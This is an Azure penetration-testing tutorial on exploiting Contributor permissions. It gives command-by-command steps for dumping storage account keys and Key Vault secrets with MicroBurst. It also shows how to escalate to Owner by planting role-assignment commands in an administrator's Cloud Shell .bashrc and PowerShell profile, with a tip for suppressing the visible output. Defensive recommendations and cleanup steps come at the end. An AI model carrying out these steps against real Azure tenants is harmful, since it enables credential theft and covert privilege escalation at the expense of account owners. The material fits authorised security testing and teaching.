Azure Penetration Testing Part - 5: Exploiting Contributor Permissions On PaaS

January 25, 2025
Azure SecurityAzureSecurityPenetration Testing

🧬 Exploiting Contributor Permissions on PaaS Services

☁️ Why Azure Storage Is a Prime Target

Azure Storage supports:

  • Blob Storage (files, images, backups)
  • File Shares (SMB/NFS support)
  • Table Storage (NoSQL datasets)
  • Queue Storage (message passing)
  • Data Lake Storage Gen2 (big data)

These backend services are used by apps, VMs, automation accounts, and containers making them a treasure trove for attackers.

⚠️ Management vs. Data Plane Access

Here’s where things get interesting:

  • The Contributor role can fully configure storage accounts (management plane)
  • But it does NOT inherently have access to view or download data (data plane)

However, Contributor can retrieve keys or generate SAS tokens to gain full access to the data anyway!

πŸ” Key Exploitable Permissions

Permission NameUse Case
Microsoft.Storage/storageAccounts/listKeys/actionView storage account keys
Microsoft.Storage/storageAccounts/listAccountSas/actionGenerate SAS token for entire account
Microsoft.Storage/storageAccounts/listServiceSas/actionGenerate service-level SAS tokens

πŸ”“ These actions bypass Azure RBAC’s dataActions system entirely by falling back to legacy key based authentication.

πŸ› οΈ Walkthrough: Dumping Keys Using MicroBurst

βœ… Step 1: Authenticate as Contributor

1Connect-AzAccount

βœ… Step 2: Import MicroBurst

1cd MicroBurst && 
2Import-Module .MicroBurst.psm1

Ignore warnings about missing modules like MSOnline.

βœ… Step 3: Run Get-AzPasswords

1Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView

πŸ” You’ll see keys for accounts like privstore123456. Copy the account name and key.

βœ… Step 4: Connect with Storage Explorer

1choco install microsoftazurestorageexplorer -y

βœ… Step 5: Connect to Storage Using Retrieved Keys

  1. Open Storage Explorer
  2. Select "Storage Account Name and Key"
  3. Paste
    • Account Name: privstore123456
    • Account Key: {copied_key}
  4. Click Connect

πŸŽ‰ You now have full access to the contents of all Blob, File, Queue, and Table services!


🧨 Escalating Privileges Using the Cloud Shell Account

Azure Cloud Shell provides a persistent, mounted file share across sessions which, when combined with Contributor access, can be weaponized to execute commands as a higher privileged user.

In this attack, we’ll plant a malicious payload in a privileged user’s Cloud Shell volume image, which will escalate our Contributor user to an Owner on the next Cloud Shell login.

🧰 Tools Required

  • βœ… Azure CLI
  • βœ… Lava framework
  • βœ… Contributor-level Azure AD account
  • βœ… jq (for JSON parsing)

🎯 Attack Objective

Escalate contributoruser to Owner by injecting commands into the startup scripts (.bashrc / PowerShell profile) of azureadmin, then reupload the volume image to overwrite the original.

πŸ” Step by Step Exploitation

βœ… Step 1: Log in as Contributor

1az login -u contributoruser@<domain> -p <password>

βœ… Step 2: Verify Permissions

1Lava $> exec priv_show

βœ… Step 3: Scan for Cloud Shell File Shares

1Lava $> exec stg_file_scan

Locate any shares named like .cloudconsole or prefixed with cs.

βœ… Step 4: Download Cloud Shell Volume Image

1Lava $> exec stg_file_download
2exit

πŸ“ The downloaded .img file contains the persistent Cloud Shell environment for azureadmin.

βœ… Step 5: Mount the Image

1mount <download_path>/.cloudconsole/acc_azureadmin.img /mnt
2cd /mnt/

βœ… Step 6: Inject Bash Shell Escalation Payload

1echo "az role assignment create --role Owner --assignee $(az ad user list --display-name contributoruser | jq -r '.[0].userPrincipalName')" >> /mnt/.bashrc

πŸ’‘ You can optionally suppress visible output using &>/dev/null

βœ… Step 7: Inject PowerShell Escalation Payload

Create profile directory

1mkdir -p /mnt/.config/PowerShell

Append role assignment to the PowerShell profil

1echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | Out-Null" >> /mnt/.config/PowerShell/Microsoft.PowerShell_profile.ps1

βœ… Step 8: Unmount the Image

1cd ~
2umount /mnt

βœ… Step 9: Upload the Malicious Image

Get storage account name:

1storagename=$(az storage account list --query '[].name' -o tsv)

Generate access key:

1key=$(az storage account keys list -n $storagename --query '[0].value' -o tsv)

Find file share

1csfileshare=$(az storage share list --account-key $key --account-name $storagename --query '[].name' -o tsv)

Upload image

1az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_path>/.cloudconsole/acc_azureadmin.img"

βœ… Step 10: Trigger Cloud Shell Login

  • Log in to Azure Portal as azureadmin
  • Launch Cloud Shell

🎯 The contributoruser should now be assigned Owner permissions automatically.

βœ… Step 11: Verify Privilege Escalation

1Lava $> priv_show

🧼 Cleanup Instructions

Remove the Owner role

1$contributoruser = "contributoruser@<domain>"
2$contributoruserid = (az ad user list --upn $contributoruser --query '[].objectId' -o tsv)
3az role assignment delete --assignee $contributoruserid --role "Owner"

Remove PowerShell payload

1rm .config/PowerShell/Microsoft.PowerShell_profile.ps1

Edit .bashrc and delete the last injected line

1code .bashrc
2# Delete last line with role assignment

πŸ” Why This Works

Cloud Shell mounts a persistent Azure File Share per user, which is accessible to any identity with Contributor access to the storage account.

Cloud Shell startup scripts = persistent privilege escalation vectors

πŸ›‘οΈ Defenses and Recommendations

ControlDescription
Avoid Contributor role on storage accountsUse granular RBAC permissions instead
Enable audit logs on storage write opsDetect image tampering
Encrypt Cloud Shell file sharesPrevent unauthorized inspection
Monitor role assignment changesDetect unauthorized escalations
Use Just in Time access via PIMReduce standing privileges

πŸ”š Summary

By tampering with Cloud Shell startup scripts via a mounted .img file, attackers can escalate to Owner stealthily and persistently a powerful tactic that blends file system attacks with privilege mismanagement.


πŸ” Pillaging Keys, Secrets, and Certificates from Azure Key Vaults

Azure Key Vault is Microsoft’s trusted secrets management platform, designed to secure application secrets, cryptographic keys, and certificates. While it offers robust security through role segregation, misconfigurations and overly permissive roles can quickly turn it into a goldmine for attackers.

🧱 Key Vault Architecture: Management Plane vs. Data Plane

Key Vault access is divided into two distinct planes

PlaneEndpoint FormatPurposeControlled By
Managementmanagement.azure.comVault creation, policy updatesAzure RBAC (management)
Data<vault-name>.vault.azure.netSecret/key/cert CRUD operationsAccess policies or RBAC

Microsoft’s model intentionally separates admin actions from data access to enable least privilege. Unfortunately, this separation is often misunderstood or misconfigured, creating windows of opportunity for exploitation.

πŸ› οΈ exfiltrate secrets, keys, and certificates in Key Vault

βœ… Step 1: Authenticate

1Connect-AzAccount

βœ… Step 2: Import MicroBurst

1Import-Module .MicroBurst.psm1

βœ… Step 3: Use the Get-AzPasswords to dump out sensitive information from the Key Vault resources

1Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView

βœ… Step 4: Extract credentials from App

1Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView

πŸ§ͺ What Might You Find?

Vault TypeExample Contents
SecretsDB connection strings, API tokens, admin credentials
KeysRSA keys, HSM-backed cryptographic keys
CertsTLS/SSL certs with private keys, client authentication certs

However, if both models are enabled, RBAC takes precedence.

πŸ›‘οΈ Mitigation Best Practices

DefensePurpose
Enforce RBAC over access policiesCentralized and auditable permission management
Use separate identities per serviceReduces blast radius
Monitor accessPolicies/write callsDetect privilege escalations
Rotate secrets regularlyInvalidate exposed credentials
Disable public access to Key VaultsEnforce private endpoint routing only